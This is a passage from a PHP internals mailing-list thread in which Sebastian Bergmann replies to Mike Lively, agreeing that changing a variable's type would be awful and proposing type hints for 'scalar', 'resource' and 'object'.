for? -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Mike Lively wrote: That being said I still do agree with Stefan that changing the type of a variable would be aweful. I do know that for any purpose I have for additional type hinting would actually be solved by just introducing type hints for 'scalar' (read string or int) and 'resource'. If we were to go that route, I would want to have 'object', too. -- Sebastian Bergmann http://sebastian-bergmann.de/ GnuPG Key: 0xB85B5D69 / 27A7 2B14 09E4 98CD 6277 0E5B 6867 C514 B85B 5D69 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
